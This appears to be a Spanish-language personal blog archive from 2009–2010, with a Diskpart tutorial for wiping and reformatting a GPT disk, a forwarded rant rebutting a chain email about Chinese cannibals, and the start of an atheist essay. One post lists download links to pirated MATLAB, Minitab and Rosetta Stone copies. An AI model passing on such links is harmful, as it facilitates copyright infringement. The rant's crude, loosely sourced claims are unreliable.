ZeroProject News o.O

Esos son huevos!

2010-03-23T19:42:00.003-06:00

James Bond se queda pendejo xD!

2010-02-15T01:01:00.003-06:00

El buen more y sus mamadas me paso este "Excelente" video de accion donde el mismisimo James bond y el xXx se quedan pendejos xD!

Espero que les de tanta risa como a mi xD

Tabla de medidas de Metrologia

2010-02-13T14:57:00.002-06:00

Aqui esta el Libro de excel para las tablas de metrologia.

http://www.megaupload.com/?d=WR1FWUQH

Tutorial: Cómo convertir una Partición Protectora GPT a NTFS o FAT32

2010-02-07T22:23:00.003-06:00

Es posible que al menos una vez en tu vida te encuentres con un disco duro que contiene una partición propia de sistemas de 64 bits llamada “Partición Protectora GPT”, la cual no funciona en sistemas operativos Windows de 32 bits. Mediante la administración de discos no es posible eliminarla y si lo intentas con Norton Partition Magic, tampoco lo lograrás, ya que GPT cuenta con una instrucción que evita el borrado accidental de la partición primaria… y por lo mismo es identificada como protectora.

¿Cómo diablos convertir el disco interno o externo desde GPT a NTFS o a FAT32?

Aunque no lo creas, Windows a veces esconde secretillos que cuando los usas, te hacen pensar que en el fondo sí es un buen sistema operativo.

Acá la solución para Windows:

1.- Abrir el cmd desde Inicio / Ejecutar
2.- Si el sistema no está en C:, puedes retroceder ingresando el comando cd..
3.- Llama a la utilidad Diskpart escribiendo diskpart en la línea de comando
4.- Escribe el comando list disk para que el sistema te muestre todos los discos conectado a tu sistema
5.- Identifica al disco con partición GPT de la lista mediante la capacidad. Los discos instalados los muestra como Disco 0, Disco 1 y así sucesivamente. Si no estás seguro cuál es la unidad con GPT, ingresa a administración de discos haciendo click en el botón derecho sobre el ícono de Mi PC en Administrar, y luego elige
Administración de Discos en el árbol de utilidades. Tu disco GPT estará identificado con su partición y NO tendrá una letra de unidad asignada. Allí podrás comprobar el número de la unidad.
6.- Una vez que identificaste el disco con el número de la unidad (que en este caso y para ejemplificar llamaremos disco 3), en Diskpart escribe entonces select disk 3
7.- Tras elegir el disco, escribe el comando clean (si quieres sólo hacer una conversión) o clean all (si quieres dejar el disco en estado cero)
Con estas instrucciones, toda la configuración y la información del disco quedará inutilizable. Esto incluye datos, tablas de asignación y partición antiguas
8.- Finalizado el proceso, cierra la ventana de ejecutar y cierra la de administración de disco
9.- Vuelve nuevamente a llamar a administración de disco como describimos arriba
Windows identificará el disco sin partición ni formato y abrirá automáticamente un tutorial
10.-Sigue los pasos sugeridos
El sistema encontrará tu disco y propondrá “activarlo”. Selecciona la partición primaria NTFS o FAT32 y luego formatéalo. No elijas formateo rápido
En caso que no salga el tutorial, haz click en el botón derecho del mouse sobre el disco “sin activar” y luego elige la opción de partición.Luego elige el tipo de partición. Una vez finalizado el proceso, formatéalo manualmente.
11.- Si no ha aparecido el disco en "Mi PC", ejecutamos nuevamente diskpart desde nuestro cmd y escribimos:

11.1.- select disk (y el numero del disco que vamos a activar)
11.2.- create partition primary
11.3.- Una vez creada la particion cerramos el administrdor de discos.
11.4.- nuevamente damos click en inicio, ejecutar y en la ventana de ejecutar escribimos diskmgmt.msc
11.5.- en la nueva ventana buscamos el disco que estamos tratando de recuperar, una vez localizado damos click derecho sobre el y en el nuevo menu seleccionamos "Cambiar la letra y rutas de acceso de unidad"
11.6.- en la nueva ventana damos click en el boton "Agregar", seleccionamos "Asignar la letra de unidad siguiente" y en la lista de letras d eunidad seleccionamos alguna letra que no aparezca en los discos que se muestran en "Mi PC". Finalmete damos aceptar y aceptar.
11.7.- ahora solo resta ir a "Mi PC" y verifica que aparezca la unidad que estamos reparando.
11.7.- Damos Formato ya sea FAT32 o NTFS. NO DEN FORMATO RAPIDO.
11.8.- Finalizado el formato ahora si podemos disfrutar de nuestro disco.
12.- Y se acabó el problema.

Recomendación: mucho cuidado al momento de llevar a cabo esta operación ya que si no identificas adecuadamente la unidad a reparar, puedes sin quererlo “matar” algún disco duro que está funcionando OK en tu sistema. Si te sientes superado por la vida, te recomiendo acudir a una persona que pueda ayudarte. Se recomienda hacer esta conversión sólo para discos externos ya que para los internos es posible generar una nueva partición y formato con la utilidad de instalación de arranque del disco de Windows XP

(Informacion tomada en parte de:
http://gluna.spaces.live.com/Blog/cns!4519FFC35541B715!1851.entry

http://marcomavil.blogspot.com

Programas y Documentos Mecatronica 2 A ITST

2010-01-26T20:08:00.006-06:00

Que hay, aqui les voy a poner las ligas donde se pueden descargar los programas y documentos que utilizaremos en el segundo semestre de la carrera de mecatronica, actualizando la informacion segun se vaya desarrollando el curso.

Comenten al final si necesitan algun programa o material

Minitab 15 Español:

http://www.mediafire.com/?mizgtozm0ny

MatLab 100 Mb:

http://rapidshare.com/files/104959354/MATLAB.rar

Rosetta Stone Full:

Para descargar TODOS los archivos sin tener que esperar mucho tiempo entre link y link o que de plano te diga que te esperes 24 Hrs, Instalar primero el siguiente bajen el jDownloader del siguiente Link: http://jdownloader.org/download/index

Lo instalan, ejecutan y despues marcan las ligas que quieran descarga, como las de Rosetta Stone, le dan Click derecho y copiar. El jDownloader automaticamente reconocera los links y los agregara a la lista de descargas.

Informacion:
•Tamaño:
*2.75 GB
•Número de Archivos:
*29 De 100 MB
*1 De 5.04 MB
•Servidores:
*Megaupload

•El packete Incluye el siguiente pack de idiomas:

*Árabe - Nivel 1 + Nivel 2
*Chino Mandarín - Nivel 1 + Nivel 2
*Danés - Nivel 1
*Neerlandés - Nivel 1 + Nivel 2
*Alemán - Nivel 1 + Nivel 2
*Inglés Reino Unido - Nivel 1 + Nivel 2
*EE.UU. Inglés - Nivel 1 + Nivel 2
*Francés - Nivel 1 + Nivel 2
*Griego - Nivel 1 + Nivel 2
*Hindi - Nivel 1
*Indonesio - Nivel 1
*Italiano - Nivel 1 + Nivel 2
*Japonés - Nivel 1 + Nivel 2
*Coreano - Nivel 1
*Latín - Nivel 1
*Polaco - Nivel 1
*Portugués - Nivel 1 + Nivel 2
*Ruso - Nivel 1 + Nivel 2 + viajero
*Español (Lat.Am.) - Nivel 1 + Nivel 2
*Español (España) - Nivel 2 (lecciones 9 - 19)
*Swahili - Nivel 1
*Sueco - Nivel 1
*Tailandia - Nivel 1
*Turco - Nivel 1
*Vietnamita - Nivel 1
*Galés - Nivel 1

Links de descarga:

01: http://www.megaupload.com/?d=NUARQ1BA
02: http://www.megaupload.com/?d=17MV8ODB
03: http://www.megaupload.com/?d=JQZAW5V3
04: http://www.megaupload.com/?d=W4K2Y7GD
05: http://www.megaupload.com/?d=42LWKY87
06: http://www.megaupload.com/?d=XENORUTZ
07: http://www.megaupload.com/?d=QDK8UQ10
08: http://www.megaupload.com/?d=2G30067Z
09: http://www.megaupload.com/?d=J7DKTN5V
10: http://www.megaupload.com/?d=X8SG254I
11: http://www.megaupload.com/?d=O7M5OGX0
12: http://www.megaupload.com/?d=IKG2B9QR
13: http://www.megaupload.com/?d=U6IWYQGW
14: http://www.megaupload.com/?d=3EHS6WRS
15: http://www.megaupload.com/?d=9GR0NTX3
16: http://www.megaupload.com/?d=C00PVYJY
17: http://www.megaupload.com/?d=RS1MKYLY
18: http://www.megaupload.com/?d=CY5CR1JA
19: http://www.megaupload.com/?d=ZR987CTY
20: http://www.megaupload.com/?d=3EPZICR7
21: http://www.megaupload.com/?d=PFYUY25X
22: http://www.megaupload.com/?d=B0CZZBL5
23: http://www.megaupload.com/?d=IU6NSWOX
24: http://www.megaupload.com/?d=CI1EZY8E
25: http://www.megaupload.com/?d=GBN66OGH
26: http://www.megaupload.com/?d=6XDUW5T9
27: http://www.megaupload.com/?d=UKZ515M0
28: http://www.megaupload.com/?d=6D99L32W
29: http://www.megaupload.com/?d=BPMYRNXY
30: http://www.megaupload.com/?d=ESCM59D6

Tablas de verdad: (Link)

http://www.mitecnologico.com/Main/TablasDeVerdad

Introduccion a la Ingenieria Mecatronica

2009-09-03T17:51:00.002-05:00

Inovacion Mecatronica:

http://www.megaupload.com/?d=5IF0N7W2

Mecatronica unidad 1:

http://www.megaupload.com/?d=J8O89GFX

En respuesta al correo de los "Chinos Comegente"‏

2009-08-29T17:07:00.003-05:00

Hoy revisando mi mail resibí un correo de mi hermano, en el cual habla de un correo que pone "Chinos Comegente". Después de leerlo decidí crear un post para compartir su opinión con ustedes. Si te gusta compartelo y no olvides comentar.

"El objetivo de la política es mantener al pueblo con miedo, pidiendo que alguien les brinde seguridad; amenazándolos para esto con una interminable serie de demonios, todos ellos imaginarios...
-- H. L. Mencken

Indignante el correo, en verdad... pero no por las imágenes que pertenecen a una exposisión de un tipo taiwanés o koreano, no recuerdo, del cual ya había hablado antes

Ya comenté una vez que todas esas imágenes son falsas... bueno, son reales, pero el "muerto" es falso y todas las fotografías que aparecen son de la exposición del wey ese (que ni chino es) que se llama "Comiendo Gente" o algo así... una exposición de "arte" gore o algo por el estilo...

Por qué tanto chingar con los chinos si esos de las fotos ni chinos son... no ves cuando los policías o lo que sean se dan la espalda? las letras a su espalda no son chinas...

Ya comenté que ni en china ni en ningún país del mundo se apoya o fomenta el canibalismo. Asia, por muy represiva que sea no permite ni fomenta esto... tú crees que si esto fuera real esas personas mostrarían tan alegremente sus rostros?... en chinguisa les caerían todos los demás países encima si no fuera porque ya se confirmó que todo forma parte de la exposisión del puto zafado este...

Las personas que encuentran estas imágenes en internet y las redistribuyen sacándolas de contexto son igual o peor de enfermos que ese wey... Qué crees que estaban buscando cuando encontraron esas imágenes???... claro... buscaban Gore en páginas nefastas como basuritas, rotten o podrido... tal vez hasta disfrutaban visitando www.2girls1cup.com y de pronto, buscando y buscando con qué satisfacer sus retorcidas mentes llegaron a imágenes tan "fuertes" que ni ellos mismos pudieron soportar (no que muy malotes?)... luego les vieron cara de chinos y su globalifobia les hizo reenviar las fotos tachándolos de caníbales, depravados, podridos... etc sin siquiera antes leer la descripción de las mismas... pa' pronto "son chinos... si son chinos son malos y está mal que a ellos les guste la misma podredumbre mental que a mí".

Lo raro es que esas personas protesten contra montajes claros y no contra imágenes que reflejan una realidad tan cruda como las que adjunto a continuación:

será que si protestan contra algo así se sentirán culpables porque no han hecho nada para ayudar a solucionar el hambre, ya no en África, sino en nuestro propio país?...

Ah, ya sé... esque con esta clase de imágenes no se excitan, no se pueden masturbar viendo sangre (que ya es lo único que los prende y a un pasito están de buscar pornografía gay) y por consiguiente no buscan este tipo de material... su búsqueda enajenada de gore les devuelve miles de fotografias con las que pasan horas jalándosela hasta que encuentran en ellas tipos con los ojos rasgados y entonces el tabú se enciende y a atacar a los chinos... total... China abarca toda Asia, no?... ¡NO!

Nosotros criticamos a los gringos de que le llaman México a toda latinoamérica y a todos los latinoamericanos nos llaman Mexicanos pero nosotos le decimos China a toda Asia y Chinos a todos los asiáticos... ¡mira nomás!

Ya sé que van a salir con el cuento de que pinches chinos todo lo copian, todo lo venden chafa, todo lo piratean... pero qué no hacemos lo mismo nosotros?... no bajamos gigas y gigas de videos, música y películas de internet?, nunca hemos copiado un CD? y lo más importante... nunca hemos comprado un producto chino porque es más barato o por cualquier motivo?... alguien nos obligó a comprarlo?... no tenemos nefastísimos grupos que se roban las letra de otros grupos y las hacen pasar por suyas? (véase Panda Plagios del ilustrísimo maestro ascendido, y matador del Vhak, Mávil)

Que la virgen de guadalupe es china ahora... "JA!"... pues la culpa no es de los chinos... sino del gobierno que permite que esas cosas pasen... de igual forma el himno nacional no es de los mexicanos sino de los gringos (y tenemos que pagar regalías cada vez que el himno se toca o canta fuera de méxico)... y además... cuándo han venido los chinos a decir "Pinches mexicanos, se robaron nuestras piñatas"... a que no sabías que las piñatas tan tradicionales no son mexicanas sino traidas de china y provenientes de tradiciones chinas... qué me dices de los cohetes y los toritos?... las cascadas del 22 de julio... todo eso es chino... el papel?... es chino... la pólvora, etc, etc, etc... y ahora hay que despreciarlos y burlarse de ellos y aparte acribillarlos con calumnias sobre que comen bebés y gente y gatos y todo eso (bueno, en regiones si comen gatos, perros y ratas, pero en méxico también se hace solo que muchos ni se dan cuenta) solo porque tuvieron la ocurrencia de sobresalir en lo comercial... y quién tiene la culpa?... ellos?... acaso nos amenazaron para que compráramos sus productos?...

Nunca has escuchado a alguien decir que todo lo chino es chafa y sin embargo tiene por lo menos dos productos hechos en china en su casa?...

Suena a que defiendo a los chinos?... pues hasta cierto punto... no a su sistema político ni a todos los chinos, solo que conozco gente de allá que no es para nada como nos los pintan... de hecho los chinos me recuerdan mucho a los mexicanos sus costumbres, diversiones y forma de ser son muy parecidas a las de nosotros... y paradójicamente hablan muy bién de nuestro país... algo que ya ni nosotros hacemos... ya ya sé que su gobierno comenzó a isolar a los mexicanos por lo de la influensia... digo... influenza, pero fué su gobierno... muchos amigos chinos me comentaron que no estaban de acuerdo con eso... y ahora que me acuerdo... qué no hicimos algo parecido cuando la gripe aviar?

Ya para concluir y antes de que me lo refrieguen en la cara, sí hubo un caso real de canibalismo en China, en Pekín para ser exactos:

Matrimonio chino prepara sopa de cabeza humana para curar locura de su hija
La cabeza de la sopa era de un transeúnte borracho de 76 años, cuya muerte fue ejecutada por un sicario pagado por los padres de la enferma.

En el 2008, Lin Zongxiu, residente en la provincia de Sichuán, al suroeste de China, oyó que la preparación de una sopa con cabeza humana podría curar a su hija, que padecía problemas psíquicos desde hace siete años, según informó el 'Diario de Comercio de Chengdu'.

Ella y su marido, Luo Tianhu, contrataron a un secuaz a sueldo que mató en la calle a antes de decapitarlo.

Luego sirvieron a su hija de 25 años la sopa, hecha con la cabeza de la víctima y pato.

Sinembargo este es un caso aislado, como el del ruso que cortaba penes con la boca... eso no significa que todos los rusos anden mordiendo penes... igual en México decapitan gente en veracruz y no significa que todos los veracruzanos andemos cortando cabezas... o que todos seamos zetas y andemos matado gente inocente por diversión... A que cuando se mira desde fuera ya no se siente uno tan cómodo, ¿verdad?

Al asesino de este borracho y a los padres se les condenó a pena de muerte pero se les va a cambiar a cadena perpetua... lo cual demuestra que en china no se aprueban estos actos ni tampoco se ven con buenos ojos...

Lo de los animales que se comen... bueno... cuestión de culturas... o si no vayan a la India y ofréscanle una arrachera a alguien a ver cómo los miran (si es que no los matan por atreverse a comer un animal sagrado)...

Ahi les encargo que manden este mail a todos los hipócritas que reenvían las cadenas de los chinos para que:
1) dejen de andar buscando gore porque un día encuentran algo que no toleran y lo convierten en cadena... y en serio que ya hay demasiadas.
2) se pongan a investigar más... pero muchísimo más, antes de opinar sobre un tema porque pueden quedar como pendejos iletrados que solo toman su información del "ALARMA" "OOORALE", y cadenas de internet.
3) dejar de mirar la paja en el ojo ajeno por no ver la viga que traen detrás

Ahi mándalo... per mándalo cabrón... a ver cuántos se ofenden por quedarse sin argumentos y si los tienen me gustaría verlos también...

-MAVIL-

--
=================================
http://marcomavil.blogspot.com

El Manual del Perfecto Ateo

2009-07-11T21:14:00.001-05:00

MANUAL DEL PERFECTO ATEO

Como este es un libro serio basado en las ciencias conocidas de todos (o en este caso desconocidas de casi todos), empezaremos por una de ellas: la filología, o sea el estudio de las lenguas; la filología es la ciencia que estudia las palabras, los idiomas que hablamos (no la lengua con la que hablamos). Según los filólogos la palabra ateo viene del griego a = sin y Theós = dios, es decir el que no tiene dios, o mejor dicho el que niega la existencia de dios.

¿De cual dios? ¿Del THEÓS griego, del DEUS latino o portugués, del GOD ingles y holandés del GUD escan-dinavo, del GOTT alemán, KAMI japonés, ALLAH turco, JÚMALA finlandés, DIEU francés, DIO italiano, BOG polaco o el BOKH ruso, del ILAH árabe o del brevísimo el hebreo o del rumano DUMNEZEU o del DIOS español?. De todos un ateo niega la existencia de todo dios, sea quien sea.

Dicho lo cual aquí se podría terminar el libro: un perfecto ateo es el que no cree en dios y punto. Pero no: Un ateo que se respete debe conocer todo lo relacionado con el tal multicitado dios, aunque no crea en su existencia; conocer todas las creencias religiosas que han hecho los humanos sobre eso que llaman dios(con mayúsculas).

El libro esta dividido en varios capítulos los cuales son los que siguen a continuación.

1.- Breve biografía de Dios: En este capitulo se hace una pequeña reseña histórica de Dios, los diferentes dioses que han existido a lo largo de los tiempos. En resumen es la historia de como el hombre comenzó a creer en dios, o mejor dicho crear dioses...

2.- Dios, S.A En este capitulo se tratan las bases en que se sustentan las religiones, y como es que han aprovechado el temor de algunos hombres para su propio beneficio...

3.- Dios - Obras completas Aquí se tratan algunos errores de la "sagrada" biblia y las diferentes versiones de la creación de algunas religiones...

4.-Creyendo que se cree Donde se trata de demostrar que dios existe (desde luego no por el autor...)

5.- La explotación del Cristo por el hombre Aquí se aborda el tema de los manuscritos del mar muerto, y de los problemas que ha tenido la iglesia para defender su estupida creencia...

6.- Cogito, ergo sum Pienso, luego existo hace una pequeño reseña de pensamientos atheos, y el porque es mejor poner ante todo la razón y no la fe, es decir el hombre sostenido por si mismo...

Bibliografía y vínculos. Sin palabras

1. BREVE BIOGRAFÍA DE DIOS

Los autonombrados biógrafos de dios nos hemos topado con un sinfín de dificultades para elaborar esta biografía, empezando por la mayor (dificultad), que es esta nadie ha visto a dios. Es decir que llevamos quien sabe cuanto tiempo hablando de dios sin que nadie lo haya visto, ni sepa que cara tiene, de que color es siquiera y que tal es de carácter. Al menos tratamos de conseguir, a falta de foto de dios, sus datos biográficos mas importantes: ¿Dónde y cuando nació, quienes fueron sus padres, donde estudio, como fue que se hizo dios?, ¡Inútilmente nadie sabe nada de nada!; a pesar de que todo el mundo habla de dios y hasta le rezan cosas y matan en su nombre.

Hay otro problema ¿De que dios será la biografía?, Por que resulta que hay una cantidad de dioses en todas partes y todos dicen que su dios es el bueno, empezando por los judíos y su Jehová. El numero de dioses es infinito, simplemente los dioses que hay en existencia hoy en estos tiempos suman mas de doscientos,... y todos diferentes.

¿Cuál es el verdadero y único dios?, ¿El que adoran los cristianos, el que veneran los japoneses, el que tienen los esquimales, el que respetan los árabes, el que es adorado por las tribus australianas o el dios que tienen en sus casas los africanos...?, ¿El mas antiguo en el mercado o el que tiene mas adeptos?, ¿El que tiene mas templos en su honor?, ¿El dios que cuenta con los mejores ejércitos o el mas económicamente poderoso? ¿Con que criterio diagnosticar cual es el verdadero dios?, ¿El que tiene mas brazos?, ¿El que tiene mas hijos?, ¿El que tiene mas poderes mágicos?. Usemos un poquito de otra ciencia que interviene en este libro: la lógica. Lo mas lógico es que el dios mas antiguo sea el bueno.

La tremenda ignorancia de los primitivos sobre el mundo que los rodeaba hizo que volvieran su vista al cielo donde objetos desconocidos aparecían y desaparecían sin explicación alguna, influyendo grandemente sobre la vida de todo fueran seres humanos, animales, plantas u otras cosas. El culto al sol y a la luna fue el primero entre casi todos los pueblos de la remotísima antigüedad: druidas, chinos, aztecas, egipcios, japoneses, malayos, persas, hindúes, asirios, sumerios... etc. Al sol le sacrificaban animales y hasta hombres, mujeres y niños con la idea de mantenerlo contento.

Pero no solo la luna y el sol eran misterios para los primitivos: También lo era la vida misma, el nacimiento, los animales, los árboles, el aire, el fuego, los ríos... ¡La muerte!. No teniendo respuestas, el hombre inventó poderes sobrenaturales a todo cuanto lo rodeaba: el aire, las aguas, las piedras, los animales, los bosques, el fuego, la lluvia... y empezaron a nacer los dioses.

“Todo lo que no conocemos es milagroso” dijo tácitamente Tácito viendo a la gente creer en los poderes sobrenaturales de los dioses que se habían inventado. En su busca de explicarse como ocurrían cosas que el no podía hacer, el hombre antiguo desarrolló la creencia en lo sobrenatural; en todas partes y en todas las tribus, el hombre creó dioses menores que el sol o la luna (su mujer), dioses locales que se convertían en invisibles, que volaban por los aires, que caminaban sobre el agua y atravesaban la tierra... gracias a los poderes que les otorgaban los grandes dioses.

Dioses, genios, erinias, espíritus, ángeles, esfinges, fantasmas, monstruos, musas, nagüales, ninfas, sirenas, gnomos, demonios, faunos, duendes, centauros, mensajeros, driadas, gigantes. Seres todos con poderes capaces de todo: de cambiar el curso de una batalla, de producir grandes cosechas, de traer salud o provocar la muerte del enemigo, de hacer el bien o el mal.

En suma: los poderes de los “dioses” estaban limitados solo por la habilidad de la imaginación del hombre que les atribuía esos poderes. Los dioses surgían de la imaginación y la necesidad del hombre. El hombre se convirtió así en creador (de dioses para empezar). Es lo que se llama panteísmo o sea todo es dios.

La invención del dios único la hicieron unos listísimos hebreos 1400 años antes de Cristo, y mucho antes, hace 30,000 años, el hombre hizo sus primeros dioses en forma de figuritas de barro o de piedra. Los primeros ídolos que el hombre veneró fueron toscas figurillas de barro, que representaban a mujeres embarazadas y también toscos falos viriles y erectos que simbolizaban la fertilidad. El nacimiento de un nuevo ser (pensaban los antiguos) era un don de los dioses; luego el falo y la matriz debían tener poderes mágicos o divinos. El éxito tremendo de aquellos primeros dioses que lograban continuos nacimientos entusiasmo a la gente, que decidió fabricar más y más dioses para conseguir éxitos en otras actividades donde las dificultades eran mas serias (y empezó la fabricación en serie).

Cada pueblo inventó sus dioses (con todo y propiedades mágicas) no quedando campo alguno sin cubrir. Los egipcios lograron una docena de dioses mayores llenos de virtudes, no solo divinas sino inclusive animales: Horus, Hathor, Anubis, Isis, Nepthys, Osiris, Re, Thoth, Amon-Re, Ptah, Tefnut y Set. Los sumerios no se amilanaron, demostrando al mundo tener una imaginación en grande: lograron un récord de 3,000 dioses distintos.

Para alojar a tanto dios, primero hicieron santuarios, luego templos y luego complicados edificios en honor de los caprichosos dioses que casi nunca otorgaban los favores pedidos. Finalmente se aburrieron de pasarse la vida rezándoles y pidiéndoles cosas y optaron por hacerse representar en el templo fabricándose estatuas personales que depositaban enfrente de los dioses. No se sabe si hacían lo mismo en su casa cuando dejaban de llegar una semana por andar de parranda con los amigotes y amigotas sumerias.

La creación de dioses, diosas, diosecillos y deidades, tuvo un auge insospechado en todos los paises: China, Japón, México, La India, los polinesios, los polacos, los griegos no se diga (incluso exportaron a otros países), los indios de Norteamérica, los hebreos... ¡Todo mundo se dedico a crear dioses!, ¡Toda clase de dioses de todos los gustos y colores!. ¿Dios creador del hombre?. Mas bien luce todo lo contrario, el hombre se dedica a crear no un dios sino todo un almacén de dioses:
*Minerva (Grecia).-Diosa de las ciencias y las artes.
*Korscha (eslava).- Diosa de los placeres.
* Fortuna (Roma).- Diosa de las mujeres solteras.
* Gotsitemo (Japón).- Dios de la medicina preventiva.
* Ausca (Polonia).- Diosa de la aurora.
* Bativonu (polinesia).- Dios de las tortugas.
* Mammon (Fenicia).- Dios de la riqueza.
* Kikimora (Rusia).- Dios de la noche y el sueño.
* Huitzilopochtli (azteca).- Dios de la guerra.
* As Sabinus (Etiopía).- Dios de la canela.
* Mnemosina (Grecia).- Diosa de la memoria.
* Pousa (China).- Diosa de la porcelana.
* Sucha (Perú).- Diosa del buen beber.
* Pidrovati (India).- Dios de los muertos
* Pelé (Hawaii).- Dios de los volcanes.
* Coyolxhauqui (azteca).- Diosa de la luna.
* Canopus (Egipto).- Dios de las aguas.
* Harpocrates (Grecia).- Dios del silencio.- Mul-Tun-Tzec (Maya).- Dios del miedo.
* Thor (Escandinavia).- Dios del trueno.
* Pales (Roma).- Dios de la fecundidad del ganado.
* Saturno (Grecia).- Dios del tiempo.
* Uller (Escandinavia).- Dios del hielo
* Afrodita (Grecia).- Diosa del amor y la belleza.
* Agoyo (Nueva Guinea).- Dios de buen consejo.
* Centeotl (Azteca).- Dios del maíz.
* Eolo (Grecia).- Dios de los vientos.

Los romanos, amén de sus 400 y picos de dioses, tenían sus dioses caseros, los Lares encargados de que no faltara nada en el hogar (sobre todo vino). Otra diosa muy solicitada en Roma era Hetaira, protectora de las prostitutas; mientras los ladrones eslavos se encomendaban al dios Porewit, su muy divino protector.

Lo interesante de todo esto no es quedarnos en lo anecdótico o lo folclórico, sino ver quien, como y para que crea dioses...

2. DIOS, S.A

Desde sus orígenes, la relación del hombre y la naturaleza tiene un doble aspecto: el dominio que las todopoderosas fuerzas naturales ejercen sobre el hombre, incapaz de entenderlas siquiera (ya no se diga de controlarlas); y el domino que poco a poco, gracias a sus instrumentos de trabajo, medios de producción y capacidad, consigue el hombre sobre la naturaleza. Ese poco a poco viene a ser una especie de técnica (conocimiento de plantas, de fenómenos naturales, de funciones anatómicas) mediante el cual el hombre primitivo cree poder influir de modo fantástico sobre la todopoderosa naturaleza; esa técnica es precisamente la magia.

Confundida con la religión la magia es pronto aprovechada y localizada en algunos individuos que se suponen dotados de “poderes” extraordinarios. Individuos que gracias a sus mayores conocimientos o al desarrollo de sus facultades sensoriales logran detener alguna enfermedad, prever algún acontecimiento, explicar algún fenómeno o, en una palabra hacer creer a los demás en lo que ellos querían, atribuyendo sus facultades a acuerdos o regalos de los dioses. Y así fue como nacieron los magos, brujos (o sacerdotes) y con ellos la primer minoría dominante, la primer clase explotadora.

El sacerdote, es decir el mago se atribuye y se inventa una representación de los dioses: gracias a esos poderes logra comunicarse con los dioses y servir de “enlace”, vocero y receptor de sus deseos, por ejemplo:

El dios quiere que le levanten un templo sobre el cerro.
debemos tener contentos a los dioses para que nos traten bien.
Hay que regalarles lo mejor que tengamos para que nos manden la lluvia.
Los dioses no quieres que seamos ricos: sacrifiquemos en su honor el oro.
Dudar de dios es un pecado contra dios, que puede enojarse y castigarnos.

El razonamiento es muy simple y “lógico” para los hombres ignorantes de todo: “Los dioses son los que manejan todo: el sol, la luna, las estrellas, los volcanes, los mares, las plantas, los animales y a los hombres”. “ Si estos no se portan bien con ellos, los dioses se enojan, y si se enojan, nos mandan plagas, terremotos, pestes, inundaciones y muerte; pero si los tenemos contentos nos darán mucho que comer, que beber y un arco iris de felicidad y tecnicolor, además de alojamiento en su hotel en la otra vida”.

Esta fue la primer ideología de una religión y la que se sigue aun practicando entre la gente aun ignorante. Y lo mas increíble es que todas esas increibilidades sigan siendo creíbles.

Dicen que el hombre necesita creer ¡La fe es lo que los sostiene!. Mas bien lo que pasa es que algunos hombres necesitan que otros crean para seguirlos explotando: el día en que nadie crea en las religiones esos algunos tendrán que trabajar (me imagino al papa trabajando de albañil).

Un estudio de las religiones que han existido en el mundo nos demuestran que todas tienen iguales bases ideológicas:

- La idea de un dios creador que mora en un lugar especial, desde donde maneja todo en plan omnipotente vigilando el comportamiento de los humanos.

- Dicho dios creador creó a su vez a otros dioses o tuvo hijos con la tierra o con alguna terrícola: ese hombre hecho dios fundó en la tierra la verdadera y única religión del dios creador.

- Los humanos que siguen esa religión (leyes y ritos) serán bien vistos por dios, quien al morir se los llevara a vivir con el, o los castigará con el infierno si no se portaran bien.

Ese es en apretada síntesis, el know-how de cualquier empresa religiosa, fórmula secreta que ha tenido éxito desde hace una turrutera de siglos y siglos. Una persona, un “creyente” debe creer pues, en 4 cosas básicamente:

En un poder superior.
En vivir de acuerdo a los deseos de ese poder.
En pedirle a ese poder cosas.
En la otra vida, que será de acuerdo al comportamiento en esta.

Como se ve el motor de toda religión es el temor a ser castigado por el ser supremo: no hay otra motivación en ninguna religión. El temor a lo desconocido, el famoso “temor de Dios”. Los brujos, magos, los sacerdotes utilizaron magistralmente la ignorancia del hombre para hacerlo “creer”, ya creyendo, manejarlo a su gusto y conveniencia. Para tener contento a los supremos poderes, hay que respetar sus leyes, seguir sus mandatos y practicar sus ritos y ceremonias.

¿Cómo es que los hombres se enteraron de cual era la voluntad de los dioses y como conocieron sus leyes?. Muy sencillo: dios se “comunico” con sus corresponsales en la tierra (brujos, magos, sacerdotes...). Curioso, sin embargo que en cuanta ocasión los dioses dictaron sus deseos, estos hayan sido diferentes para las distintas religiones; a los caldeos les dijo una cosa, a los aztecas otra, distinta a la de los egipcios y muy otra a los hebreos. Digno también de analizarse es el hecho que dios no ha vuelto a comunicarse con nadie desde hace mas de 2000 años.

Es el caso que los dioses (por medios y formas no muy claras) “inspiraron” a diversas gentes para que transmitieran a los demás mortales sus deseos. Pero lo mas curioso es que nunca se dirigió a los pobres, y siempre a miembros de las clases dominantes, lo cual es como para pensarlo un rato.

Sea como sea, es el caso que dios expresó su voluntad a los humanos, voluntad que quedó escrita en los libros sagrados desde tiempos muy inmemoriales:

§- LA BIBLIA.
§- EL POPOL VUH.
§- EL CORAN.
§- EL CHILAM BALAM.
§- EL UGARIT.
§- EL MIQRAIT.
§- EL RIG VEDA
§- EL AVESTA.
§- EL LIBRO DE LOS MUERTOS.
§- EL RAMAYANA.
§- EL ADIGRÁN.
§- EL TAO TE KING.
§- EL TRATADO DE LAS ACCIONES.
§- EL LIBRO DE CON-FUCIO.
§- LOS SAGAS.
§- EL NUEVO TESTA-MENTO.
§- EL LIBRO MORMON.
§- EL CIENCIA Y SALUD.

Todos los libros mencionados anteriormente constan de varios capítulos:

§ Memorias de dios.
§ Testamento de dios.
§ Leyes de dios.
§ Ritos a seguir.
§ Anecdotario.

Pero ninguno trae “fe de erratas”, porque como ya se dijo antes nada coincide entre los distintos libros dictados por dios: ni sus memoria, ni sus deseos, ni sus leyes, ni los ritos que ordena en su honor. Y lo mismo que pasa con dios pasa con sus libros ¿Cuál es el verdadero testamento, cuales sus leyes, cuales sus memorias y cuales sus anécdotas? ¿Alguien lo sabe?. mejor preguntémonos despojados de prejuicios y fanatismo ¿Hay algún libro “divino” digno de ser creído?, ¿Contamos con alguna prueba del origen divino de alguno de los libros sagrados?. No, solo la palabra de los magos, brujos, sacerdotes, ministros, pastores, monjes, lamas o como quieran llamarse.

¿Basta con tan contundente prueba?. Sinceramente NO, de modo y manera que seguimos adelante con la búsqueda de pruebas a favor de la preten-dida divinidad de los librotes santos, incluida la Biblia
3. DIOS OBRAS
COMPLETAS

Todo hace suponer que desde un principio, dios se comunico con sus elegidos y les contó (mas o menos al detalle) todo lo referente a su vida y a la creación del mundo. Es lo mas lógico si quería hacer saber al hombre su voluntad. Los primeros Libros sagrados nos dan aquí sus distintas versiones de la creación:

Versión persa.-

